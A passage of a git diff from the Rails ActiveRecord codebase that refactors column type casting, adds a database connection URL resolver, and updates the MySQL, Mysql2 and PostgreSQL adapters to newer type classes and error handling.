- message = "Column#type_cast_code is deprecated in favor of using Column#type_cast only, " \
- "and it is going to be removed in future Rails versions."
- ActiveSupport::Deprecation.warn message
-
- klass = self.class.name
-
- case type
- when :string, :text then var_name
- when :integer then "#{klass}.value_to_integer(#{var_name})"
- when :float then "#{var_name}.to_f"
- when :decimal then "#{klass}.value_to_decimal(#{var_name})"
- when :datetime, :timestamp then "#{klass}.string_to_time(#{var_name})"
- when :time then "#{klass}.string_to_dummy_time(#{var_name})"
- when :date then "#{klass}.value_to_date(#{var_name})"
- when :binary then "#{klass}.binary_to_string(#{var_name})"
- when :boolean then "#{klass}.value_to_boolean(#{var_name})"
- when :hstore then "#{klass}.string_to_hstore(#{var_name})"
- when :inet, :cidr then "#{klass}.string_to_cidr(#{var_name})"
- when :json then "#{klass}.string_to_json(#{var_name})"
- else var_name
- end
- end
-
# Returns the human name of the column name.
#
# ===== Examples
@@ -138,179 +51,31 @@ module ActiveRecord
Base.human_attribute_name(@name)
end
- def extract_default(default)
- type_cast(default)
+ def with_type(type)
+ dup.tap do |clone|
+ clone.instance_variable_set('@cast_type', type)
+ end
end
- # Used to convert from Strings to BLOBs
- def string_to_binary(value)
- self.class.string_to_binary(value)
+ def ==(other)
+ other.name == name &&
+ other.default == default &&
+ other.cast_type == cast_type &&
+ other.sql_type == sql_type &&
+ other.null == null &&
+ other.default_function == default_function
end
+ alias :eql? :==
- class << self
- # Used to convert from Strings to BLOBs
- def string_to_binary(value)
- value
- end
-
- # Used to convert from BLOBs to Strings
- def binary_to_string(value)
- value
- end
-
- def value_to_date(value)
- if value.is_a?(String)
- return nil if value.blank?
- fast_string_to_date(value) || fallback_string_to_date(value)
- elsif value.respond_to?(:to_date)
- value.to_date
- else
- value
- end
- end
-
- def string_to_time(string)
- return string unless string.is_a?(String)
- return nil if string.blank?
-
- fast_string_to_time(string) || fallback_string_to_time(string)
- end
-
- def string_to_dummy_time(string)
- return string unless string.is_a?(String)
- return nil if string.blank?
-
- dummy_time_string = "2000-01-01 #{string}"
-
- fast_string_to_time(dummy_time_string) || begin
- time_hash = Date._parse(dummy_time_string)
- return nil if time_hash[:hour].nil?
- new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
- end
- end
-
- # convert something to a boolean
- def value_to_boolean(value)
- if value.is_a?(String) && value.blank?
- nil
- else
- TRUE_VALUES.include?(value)
- end
- end
-
- # Used to convert values to integer.
- # handle the case when an integer column is used to store boolean values
- def value_to_integer(value)
- case value
- when TrueClass, FalseClass
- value ? 1 : 0
- else
- value.to_i
- end
- end
-
- # convert something to a BigDecimal
- def value_to_decimal(value)
- # Using .class is faster than .is_a? and
- # subclasses of BigDecimal will be handled
- # in the else clause
- if value.class == BigDecimal
- value
- elsif value.respond_to?(:to_d)
- value.to_d
- else
- value.to_s.to_d
- end
- end
-
- protected
- # '0.123456' -> 123456
- # '1.123456' -> 123456
- def microseconds(time)
- time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0
- end
-
- def new_date(year, mon, mday)
- if year && year != 0
- Date.new(year, mon, mday) rescue nil
- end
- end
-
- def new_time(year, mon, mday, hour, min, sec, microsec)
- # Treat 0000-00-00 00:00:00 as nil.
- return nil if year.nil? || (year == 0 && mon == 0 && mday == 0)
-
- Time.time_with_datetime_fallback(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
- end
-
- def fast_string_to_date(string)
- if string =~ Format::ISO_DATE
- new_date $1.to_i, $2.to_i, $3.to_i
- end
- end
-
- # Doesn't handle time zones.
- def fast_string_to_time(string)
- if string =~ Format::ISO_DATETIME
- microsec = ($7.to_r * 1_000_000).to_i
- new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
- end
- end
-
- def fallback_string_to_date(string)
- new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
- end
-
- def fallback_string_to_time(string)
- time_hash = Date._parse(string)
- time_hash[:sec_fraction] = microseconds(time_hash)
-
- new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
- end
+ def hash
+ attributes_for_hash.hash
end
private
- def extract_limit(sql_type)
- $1.to_i if sql_type =~ /\((.*)\)/
- end
-
- def extract_precision(sql_type)
- $2.to_i if sql_type =~ /^(numeric|decimal|number)\((\d+)(,\d+)?\)/i
- end
- def extract_scale(sql_type)
- case sql_type
- when /^(numeric|decimal|number)\((\d+)\)/i then 0
- when /^(numeric|decimal|number)\((\d+)(,(\d+))\)/i then $4.to_i
- end
- end
-
- def simplified_type(field_type)
- case field_type
- when /int/i
- :integer
- when /float|double/i
- :float
- when /decimal|numeric|number/i
- extract_scale(field_type) == 0 ? :integer : :decimal
- when /datetime/i
- :datetime
- when /timestamp/i
- :timestamp
- when /time/i
- :time
- when /date/i
- :date
- when /clob/i, /text/i
- :text
- when /blob/i, /binary/i
- :binary
- when /char/i, /string/i
- :string
- when /boolean/i
- :boolean
- end
- end
+ def attributes_for_hash
+ [self.class, name, default, cast_type, sql_type, null, default_function]
+ end
end
end
# :startdoc:
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
index 09250d3c01..e54e3199ff 100644
--- a/activerecord/lib/active_record/connection_adapters/connection_specification.rb
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -1,4 +1,5 @@
require 'uri'
+require 'active_support/core_ext/string/filters'
module ActiveRecord
module ConnectionAdapters
@@ -13,74 +14,261 @@ module ActiveRecord
@config = original.config.dup
end
+ # Expands a connection string into a hash.
+ class ConnectionUrlResolver # :nodoc:
+
+ # == Example
+ #
+ # url = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+ # ConnectionUrlResolver.new(url).to_hash
+ # # => {
+ # "adapter" => "postgresql",
+ # "host" => "localhost",
+ # "port" => 9000,
+ # "database" => "foo_test",
+ # "username" => "foo",
+ # "password" => "bar",
+ # "pool" => "5",
+ # "timeout" => "3000"
+ # }
+ def initialize(url)
+ raise "Database URL cannot be empty" if url.blank?
+ @uri = uri_parser.parse(url)
+ @adapter = @uri.scheme.tr('-', '_')
+ @adapter = "postgresql" if @adapter == "postgres"
+
+ if @uri.opaque
+ @uri.opaque, @query = @uri.opaque.split('?', 2)
+ else
+ @query = @uri.query
+ end
+ end
+
+ # Converts the given URL to a full connection hash.
+ def to_hash
+ config = raw_config.reject { |_,value| value.blank? }
+ config.map { |key,value| config[key] = uri_parser.unescape(value) if value.is_a? String }
+ config
+ end
+
+ private
+
+ def uri
+ @uri
+ end
+
+ def uri_parser
+ @uri_parser ||= URI::Parser.new
+ end
+
+ # Converts the query parameters of the URI into a hash.
+ #
+ # "localhost?pool=5&reaping_frequency=2"
+ # # => { "pool" => "5", "reaping_frequency" => "2" }
+ #
+ # returns empty hash if no query present.
+ #
+ # "localhost"
+ # # => {}
+ def query_hash
+ Hash[(@query || '').split("&").map { |pair| pair.split("=") }]
+ end
+
+ def raw_config
+ if uri.opaque
+ query_hash.merge({
+ "adapter" => @adapter,
+ "database" => uri.opaque })
+ else
+ query_hash.merge({
+ "adapter" => @adapter,
+ "username" => uri.user,
+ "password" => uri.password,
+ "port" => uri.port,
+ "database" => database_from_path,
+ "host" => uri.hostname })
+ end
+ end
+
+ # Returns name of the database.
+ def database_from_path
+ if @adapter == 'sqlite3'
+ # 'sqlite3:/foo' is absolute, because that makes sense. The
+ # corresponding relative version, 'sqlite3:foo', is handled
+ # elsewhere, as an "opaque".
+
+ uri.path
+ else
+ # Only SQLite uses a filename as the "database" name; for
+ # anything else, a leading slash would be silly.
+
+ uri.path.sub(%r{^/}, "")
+ end
+ end
+ end
+
##
- # Builds a ConnectionSpecification from user input
+ # Builds a ConnectionSpecification from user input.
class Resolver # :nodoc:
- attr_reader :config, :klass, :configurations
+ attr_reader :configurations
- def initialize(config, configurations)
- @config = config
+ # Accepts a hash two layers deep, keys on the first layer represent
+ # environments such as "production". Keys must be strings.
+ def initialize(configurations)
@configurations = configurations
end
- def spec
- case config
- when nil
- raise AdapterNotSpecified unless defined?(Rails.env)
- resolve_string_connection Rails.env
- when Symbol, String
- resolve_string_connection config.to_s
- when Hash
- resolve_hash_connection config
+ # Returns a hash with database connection information.
+ #
+ # == Examples
+ #
+ # Full hash Configuration.
+ #
+ # configurations = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+ # Resolver.new(configurations).resolve(:production)
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3"}
+ #
+ # Initialized with URL configuration strings.
+ #
+ # configurations = { "production" => "postgresql://localhost/foo" }
+ # Resolver.new(configurations).resolve(:production)
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve(config)
+ if config
+ resolve_connection config
+ elsif env = ActiveRecord::ConnectionHandling::RAILS_ENV.call
+ resolve_symbol_connection env.to_sym
+ else
+ raise AdapterNotSpecified
end
end
- private
- def resolve_string_connection(spec) # :nodoc:
- hash = configurations.fetch(spec) do |k|
- connection_url_to_hash(k)
+ # Expands each key in @configurations hash into fully resolved hash
+ def resolve_all
+ config = configurations.dup
+ config.each do |key, value|
+ config[key] = resolve(value) if value
end
-
- raise(AdapterNotSpecified, "#{spec} database is not configured") unless hash
-
- resolve_hash_connection hash
+ config
end
- def resolve_hash_connection(spec) # :nodoc:
- spec = spec.symbolize_keys
+ # Returns an instance of ConnectionSpecification for a given adapter.
+ # Accepts a hash one layer deep that contains all connection information.
+ #
+ # == Example
+ #
+ # config = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+ # spec = Resolver.new(config).spec(:production)
+ # spec.adapter_method
+ # # => "sqlite3_connection"
+ # spec.config
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" }
+ #
+ def spec(config)
+ spec = resolve(config).symbolize_keys
raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
+ path_to_adapter = "active_record/connection_adapters/#{spec[:adapter]}_adapter"
begin
- require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
+ require path_to_adapter
+ rescue Gem::LoadError => e
+ raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by ActiveRecord)."
rescue LoadError => e
- raise LoadError, "Please install the #{spec[:adapter]} adapter: `gem install activerecord-#{spec[:adapter]}-adapter` (#{e.message})", e.backtrace
+ raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql', 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace
end
adapter_method = "#{spec[:adapter]}_connection"
-
ConnectionSpecification.new(spec, adapter_method)
end
- def connection_url_to_hash(url) # :nodoc:
- config = URI.parse url
- adapter = config.scheme
- adapter = "postgresql" if adapter == "postgres"
- spec = { :adapter => adapter,
- :username => config.user,
- :password => config.password,
- :port => config.port,
- :database => config.path.sub(%r{^/},""),
- :host => config.host }
- spec.reject!{ |_,value| value.blank? }
- uri_parser = URI::Parser.new
- spec.map { |key,value| spec[key] = uri_parser.unescape(value) if value.is_a?(String) }
- if config.query
- options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
- spec.merge!(options)
+ private
+
+ # Returns fully resolved connection, accepts hash, string or symbol.
+ # Always returns a hash.
+ #
+ # == Examples
+ #
+ # Symbol representing current environment.
+ #
+ # Resolver.new("production" => {}).resolve_connection(:production)
+ # # => {}
+ #
+ # One layer deep hash of connection values.
+ #
+ # Resolver.new({}).resolve_connection("adapter" => "sqlite3")
+ # # => { "adapter" => "sqlite3" }
+ #
+ # Connection URL.
+ #
+ # Resolver.new({}).resolve_connection("postgresql://localhost/foo")
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve_connection(spec)
+ case spec
+ when Symbol
+ resolve_symbol_connection spec
+ when String
+ resolve_string_connection spec
+ when Hash
+ resolve_hash_connection spec
+ end
+ end
+
+ def resolve_string_connection(spec)
+ # Rails has historically accepted a string to mean either
+ # an environment key or a URL spec, so we have deprecated
+ # this ambiguous behaviour and in the future this function
+ # can be removed in favor of resolve_url_connection.
+ if configurations.key?(spec) || spec !~ /:/
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Passing a string to ActiveRecord::Base.establish_connection for a
+ configuration lookup is deprecated, please pass a symbol
+ (#{spec.to_sym.inspect}) instead.
+ MSG
+
+ resolve_symbol_connection(spec)
+ else
+ resolve_url_connection(spec)
+ end
+ end
+
+ # Takes the environment such as +:production+ or +:development+.
+ # This requires that the @configurations was initialized with a key that
+ # matches.
+ #
+ # Resolver.new("production" => {}).resolve_symbol_connection(:production)
+ # # => {}
+ #
+ def resolve_symbol_connection(spec)
+ if config = configurations[spec.to_s]
+ resolve_connection(config)
+ else
+ raise(AdapterNotSpecified, "'#{spec}' database is not configured. Available: #{configurations.keys.inspect}")
+ end
+ end
+
+ # Accepts a hash. Expands the "url" key that contains a
+ # URL database connection to a full connection
+ # hash and merges with the rest of the hash.
+ # Connection details inside of the "url" key win any merge conflicts
+ def resolve_hash_connection(spec)
+ if spec["url"] && spec["url"] !~ /^jdbc:/
+ connection_hash = resolve_url_connection(spec.delete("url"))
+ spec.merge!(connection_hash)
end
spec
end
+
+ # Takes a connection URL.
+ #
+ # Resolver.new({}).resolve_url_connection("postgresql://localhost/foo")
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve_url_connection(url)
+ ConnectionUrlResolver.new(url).to_hash
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
index a6013f754a..d19bd80576 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -1,41 +1,51 @@
require 'active_record/connection_adapters/abstract_mysql_adapter'
-gem 'mysql2', '~> 0.3.10'
+gem 'mysql2', '~> 0.3.13'
require 'mysql2'
module ActiveRecord
- module ConnectionHandling
+ module ConnectionHandling # :nodoc:
# Establishes a connection to the database that's used by all Active Record objects.
def mysql2_connection(config)
+ config = config.symbolize_keys
+
config[:username] = 'root' if config[:username].nil?
if Mysql2::Client.const_defined? :FOUND_ROWS
config[:flags] = Mysql2::Client::FOUND_ROWS
end
- client = Mysql2::Client.new(config.symbolize_keys)
+ client = Mysql2::Client.new(config)
options = [config[:host], config[:username], config[:password], config[:database], config[:port], config[:socket], 0]
ConnectionAdapters::Mysql2Adapter.new(client, logger, options, config)
+ rescue Mysql2::Error => error
+ if error.message.include?("Unknown database")
+ raise ActiveRecord::NoDatabaseError.new(error.message, error)
+ else
+ raise
+ end
end
end
module ConnectionAdapters
class Mysql2Adapter < AbstractMysqlAdapter
-
- class Column < AbstractMysqlAdapter::Column # :nodoc:
- def adapter
- Mysql2Adapter
- end
- end
-
- ADAPTER_NAME = 'Mysql2'
+ ADAPTER_NAME = 'Mysql2'.freeze
def initialize(connection, logger, connection_options, config)
super
- @visitor = BindSubstitution.new self
+ @prepared_statements = false
configure_connection
end
+ MAX_INDEX_LENGTH_FOR_UTF8MB4 = 191
+ def initialize_schema_migrations_table
+ if @config[:encoding] == 'utf8mb4'
+ ActiveRecord::SchemaMigration.create_table(MAX_INDEX_LENGTH_FOR_UTF8MB4)
+ else
+ ActiveRecord::SchemaMigration.create_table
+ end
+ end
+
def supports_explain?
true
end
@@ -52,21 +62,29 @@ module ActiveRecord
end
end
- def new_column(field, default, type, null, collation) # :nodoc:
- Column.new(field, default, type, null, collation, strict_mode?)
- end
-
def error_number(exception)
exception.error_number if exception.respond_to?(:error_number)
end
+ #--
# QUOTING ==================================================
+ #++
def quote_string(string)
@connection.escape(string)
end
+ def quoted_date(value)
+ if value.acts_like?(:time) && value.respond_to?(:usec)
+ "#{super}.#{sprintf("%06d", value.usec)}"
+ else
+ super
+ end
+ end
+
+ #--
# CONNECTION MANAGEMENT ====================================
+ #++
def active?
return false unless @connection
@@ -90,7 +108,9 @@ module ActiveRecord
end
end
+ #--
# DATABASE STATEMENTS ======================================
+ #++
def explain(arel, binds = [])
sql = "EXPLAIN #{to_sql(arel, binds.dup)}"
@@ -196,15 +216,17 @@ module ActiveRecord
# Returns an array of arrays containing the field values.
# Order is the same as that returned by +columns+.
- def select_rows(sql, name = nil)
+ def select_rows(sql, name = nil, binds = [])
execute(sql, name).to_a
end
# Executes the SQL statement in the context of this connection.
def execute(sql, name = nil)
- # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been
- # made since we established the connection
- @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
+ if @connection
+ # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been
+ # made since we established the connection
+ @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
+ end
super
end
@@ -216,12 +238,6 @@ module ActiveRecord
alias exec_without_stmt exec_query
- # Returns an array of record hashes with the column names as keys and
- # column values as values.
- def select(sql, name = nil, binds = [])
- exec_query(sql, name)
- end
-
def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
super
id_value || @connection.last_id
@@ -254,8 +270,12 @@ module ActiveRecord
super
end
- def version
- @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
+ def full_version
+ @full_version ||= @connection.info[:version]
+ end
+
+ def set_field_encoding field_name
+ field_name
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index 631f646f58..23d8389abb 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -16,9 +16,9 @@ class Mysql
end
module ActiveRecord
- module ConnectionHandling
+ module ConnectionHandling # :nodoc:
# Establishes a connection to the database that's used by all Active Record objects.
- def mysql_connection(config) # :nodoc:
+ def mysql_connection(config)
config = config.symbolize_keys
host = config[:host]
port = config[:port]
@@ -34,6 +34,12 @@ module ActiveRecord
default_flags |= Mysql::CLIENT_FOUND_ROWS if Mysql.const_defined?(:CLIENT_FOUND_ROWS)
options = [host, username, password, database, port, socket, default_flags]
ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config)
+ rescue Mysql::Error => error
+ if error.message.include?("Unknown database")
+ raise ActiveRecord::NoDatabaseError.new(error.message, error)
+ else
+ raise
+ end
end
end
@@ -52,7 +58,7 @@ module ActiveRecord
# * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
# * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html).
# * <tt>:strict</tt> - Defaults to true. Enable STRICT_ALL_TABLES. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html)
- # * <tt>:variables</tt> - (Optional) A hash session variables to send as `SET @@SESSION.key = value` on each database connection. Use the value `:default` to set a variable to its DEFAULT value. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/set-statement.html).
+ # * <tt>:variables</tt> - (Optional) A hash session variables to send as <tt>SET @@SESSION.key = value</tt> on each database connection. Use the value +:default+ to set a variable to its DEFAULT value. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/set-statement.html).
# * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
# * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
# * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
@@ -60,36 +66,7 @@ module ActiveRecord
# * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection.
#
class MysqlAdapter < AbstractMysqlAdapter
-
- class Column < AbstractMysqlAdapter::Column #:nodoc:
- def self.string_to_time(value)
- return super unless Mysql::Time === value
- new_time(
- value.year,
- value.month,
- value.day,
- value.hour,
- value.minute,
- value.second,
- value.second_part)
- end
-
- def self.string_to_dummy_time(v)
- return super unless Mysql::Time === v
- new_time(2000, 01, 01, v.hour, v.minute, v.second, v.second_part)
- end
-
- def self.string_to_date(v)
- return super unless Mysql::Time === v
- new_date(v.year, v.month, v.day)
- end
-
- def adapter
- MysqlAdapter
- end
- end
-
- ADAPTER_NAME = 'MySQL'
+ ADAPTER_NAME = 'MySQL'.freeze
class StatementPool < ConnectionAdapters::StatementPool
def initialize(connection, max = 1000)
@@ -111,7 +88,7 @@ module ActiveRecord
end
def clear
- cache.values.each do |hash|
+ cache.each_value do |hash|
hash[:stmt].close
end
cache.clear
@@ -126,7 +103,7 @@ module ActiveRecord
def initialize(connection, logger, connection_options, config)
super
@statements = StatementPool.new(@connection,
- config.fetch(:statement_limit) { 1000 })
+ self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 }))
@client_encoding = nil
connect
end
@@ -150,27 +127,19 @@ module ActiveRecord
end
end
- def new_column(field, default, type, null, collation) # :nodoc:
- Column.new(field, default, type, null, collation, strict_mode?)
- end
-
def error_number(exception) # :nodoc:
exception.errno if exception.respond_to?(:errno)
end
# QUOTING ==================================================
- def type_cast(value, column)
- return super unless value == true || value == false
-
- value ? 1 : 0
- end
-
def quote_string(string) #:nodoc:
@connection.quote(string)
end
+ #--
# CONNECTION MANAGEMENT ====================================
+ #++
def active?
if @connection.respond_to?(:stat)
@@ -211,17 +180,20 @@ module ActiveRecord
end
end
+ #--
# DATABASE STATEMENTS ======================================
+ #++
- def select_rows(sql, name = nil)
+ def select_rows(sql, name = nil, binds = [])
@connection.query_with_result = true
- rows = exec_query(sql, name).rows
+ rows = exec_query(sql, name, binds).rows
@connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
rows
end
# Clears the prepared statements cache.
def clear_cache!
+ super
@statements.clear
end
@@ -279,11 +251,7 @@ module ActiveRecord
end
def exec_query(sql, name = 'SQL', binds = [])
- # If the configuration sets prepared_statements:false, binds will
- # always be empty, since the bind variables will have been already
- # substituted and removed from binds by BindVisitor, so this will
- # effectively disable prepared statement usage completely.
- if binds.empty?
+ if without_prepared_statement?(binds)
result_set, affected_rows = exec_without_stmt(sql, name)
else
result_set, affected_rows = exec_stmt(sql, name, binds)
@@ -298,118 +266,70 @@ module ActiveRecord
@connection.insert_id
end
- module Fields
- class Type
- def type; end
-
- def type_cast_for_write(value)
- value
- end
- end
-
- class Identity < Type
- def type_cast(value); value; end
- end
-
- class Integer < Type
- def type_cast(value)
- return if value.nil?
-
- value.to_i rescue value ? 1 : 0
- end
- end
-
- class Date < Type
- def type; :date; end
-
- def type_cast(value)
- return if value.nil?
-
- # FIXME: probably we can improve this since we know it is mysql
- # specific
- ConnectionAdapters::Column.value_to_date value
- end
- end
-
- class DateTime < Type
- def type; :datetime; end
-
- def type_cast(value)
- return if value.nil?
-
- # FIXME: probably we can improve this since we know it is mysql
- # specific
- ConnectionAdapters::Column.string_to_time value
+ module Fields # :nodoc:
+ class DateTime < Type::DateTime # :nodoc:
+ def cast_value(value)
+ if Mysql::Time === value
+ new_time(
+ value.year,
+ value.month,
+ value.day,
+ value.hour,
+ value.minute,
+ value.second,
+ value.second_part)
+ else
+ super
+ end
end
end
- class Time < Type
- def type; :time; end
-
- def type_cast(value)
- return if value.nil?
-
- # FIXME: probably we can improve this since we know it is mysql
- # specific
- ConnectionAdapters::Column.string_to_dummy_time value
+ class Time < Type::Time # :nodoc:
+ def cast_value(value)
+ if Mysql::Time === value
+ new_time(
+ 2000,
+ 01,
+ 01,
+ value.hour,
+ value.minute,
+ value.second,
+ value.second_part)
+ else
+ super
+ end
end
end
- class Float < Type
- def type; :float; end
+ class << self
+ TYPES = Type::HashLookupTypeMap.new # :nodoc:
- def type_cast(value)
- return if value.nil?
+ delegate :register_type, :alias_type, to: :TYPES
- value.to_f
+ def find_type(field)
+ if field.type == Mysql::Field::TYPE_TINY && field.length > 1
+ TYPES.lookup(Mysql::Field::TYPE_LONG)
+ else
+ TYPES.lookup(field.type)
+ end
end
end
- class Decimal < Type
- def type_cast(value)
- return if value.nil?
-
- ConnectionAdapters::Column.value_to_decimal value
- end
- end
-
- class Boolean < Type
- def type_cast(value)
- return if value.nil?
-
- ConnectionAdapters::Column.value_to_boolean value
- end
- end
-
- TYPES = {}
-
- # Register an MySQL +type_id+ with a typcasting object in
- # +type+.
- def self.register_type(type_id, type)
- TYPES[type_id] = type
- end
-
- def self.alias_type(new, old)
- TYPES[new] = TYPES[old]
- end
-
- register_type Mysql::Field::TYPE_TINY, Fields::Boolean.new
- register_type Mysql::Field::TYPE_LONG, Fields::Integer.new
+ register_type Mysql::Field::TYPE_TINY, Type::Boolean.new
+ register_type Mysql::Field::TYPE_LONG, Type::Integer.new
alias_type Mysql::Field::TYPE_LONGLONG, Mysql::Field::TYPE_LONG
alias_type Mysql::Field::TYPE_NEWDECIMAL, Mysql::Field::TYPE_LONG
- register_type Mysql::Field::TYPE_VAR_STRING, Fields::Identity.new
- register_type Mysql::Field::TYPE_BLOB, Fields::Identity.new
- register_type Mysql::Field::TYPE_DATE, Fields::Date.new
+ register_type Mysql::Field::TYPE_DATE, Type::Date.new
register_type Mysql::Field::TYPE_DATETIME, Fields::DateTime.new
register_type Mysql::Field::TYPE_TIME, Fields::Time.new
- register_type Mysql::Field::TYPE_FLOAT, Fields::Float.new
+ register_type Mysql::Field::TYPE_FLOAT, Type::Float.new
+ end
- Mysql::Field.constants.grep(/TYPE/).map { |class_name|
- Mysql::Field.const_get class_name
- }.reject { |const| TYPES.key? const }.each do |const|
- register_type const, Fields::Identity.new
- end
+ def initialize_type_map(m) # :nodoc:
+ super
+ m.register_type %r(datetime)i, Fields::DateTime.new
+ m.register_type %r(time)i, Fields::Time.new
end
def exec_without_stmt(sql, name = 'SQL') # :nodoc:
@@ -421,16 +341,19 @@ module ActiveRecord
if result
types = {}
+ fields = []
result.fetch_fields.each { |field|
+ field_name = field.name
+ fields << field_name
+
if field.decimals > 0
- types[field.name] = Fields::Decimal.new
+ types[field_name] = Type::Decimal.new
else
- types[field.name] = Fields::TYPES.fetch(field.type) {
- Fields::Identity.new
- }
+ types[field_name] = Fields.find_type field
end
}
- result_set = ActiveRecord::Result.new(types.keys, result.to_a, types)
+
+ result_set = ActiveRecord::Result.new(fields, result.to_a, types)
result.free
else
result_set = ActiveRecord::Result.new([], [])
@@ -440,7 +363,7 @@ module ActiveRecord
end
end
- def execute_and_free(sql, name = nil)
+ def execute_and_free(sql, name = nil) # :nodoc:
result = execute(sql, name)
ret = yield result
result.free
@@ -453,7 +376,7 @@ module ActiveRecord
end
alias :create :insert_sql
- def exec_delete(sql, name, binds)
+ def exec_delete(sql, name, binds) # :nodoc:
affected_rows = 0
exec_query(sql, name, binds) do |n|
@@ -466,15 +389,17 @@ module ActiveRecord
def begin_db_transaction #:nodoc:
exec_query "BEGIN"
- rescue Mysql::Error
- # Transactions aren't supported
end
private
def exec_stmt(sql, name, binds)
cache = {}
- log(sql, name, binds) do
+ type_casted_binds = binds.map { |col, val|
+ [col, type_cast(val, col)]
+ }
+
+ log(sql, name, type_casted_binds) do
if binds.empty?
stmt = @connection.prepare(sql)
else
@@ -485,10 +410,10 @@ module ActiveRecord
end
begin
- stmt.execute(*binds.map { |col, val| type_cast(val, col) })
+ stmt.execute(*type_casted_binds.map { |_, val| val })
rescue Mysql::Error => e
# Older versions of MySQL leave the prepared statement in a bad
- # place when an error occurs. To support older mysql versions, we
+ # place when an error occurs. To support older MySQL versions, we
# need to close the statement and delete the statement from the
# cache.
stmt.close
@@ -498,15 +423,13 @@ module ActiveRecord
cols = nil
if metadata = stmt.result_metadata
- cols = cache[:cols] ||= metadata.fetch_fields.map { |field|
- field.name
- }
+ cols = cache[:cols] ||= metadata.fetch_fields.map(&:name)
+ metadata.free
end
result_set = ActiveRecord::Result.new(cols, stmt.to_a) if cols
affected_rows = stmt.affected_rows
- stmt.result_metadata.free if cols
stmt.free_result
stmt.close if binds.empty?
@@ -544,14 +467,22 @@ module ActiveRecord
def select(sql, name = nil, binds = [])
@connection.query_with_result = true
- rows = exec_query(sql, name, binds)
+ rows = super
@connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
rows
end
- # Returns the version of the connected MySQL server.
- def version
- @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
+ # Returns the full version of the connected MySQL server.
+ def full_version
+ @full_version ||= @connection.server_info
+ end
+
+ def set_field_encoding field_name
+ field_name.force_encoding(client_encoding)
+ if internal_enc = Encoding.default_internal
+ field_name = field_name.encode!(internal_enc)
+ end
+ field_name
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
index b7d24f2bb3..1b74c039ce 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
@@ -1,41 +1,36 @@
module ActiveRecord
module ConnectionAdapters
- class PostgreSQLColumn < Column
- module ArrayParser
- private
- # Loads pg_array_parser if available. String parsing can be
- # performed quicker by a native extension, which will not create
- # a large amount of Ruby objects that will need to be garbage
- # collected. pg_array_parser has a C and Java extension
- begin
- require 'pg_array_parser'
- include PgArrayParser
- rescue LoadError
- def parse_pg_array(string)
- parse_data(string, 0)
+ module PostgreSQL
+ module ArrayParser # :nodoc:
+
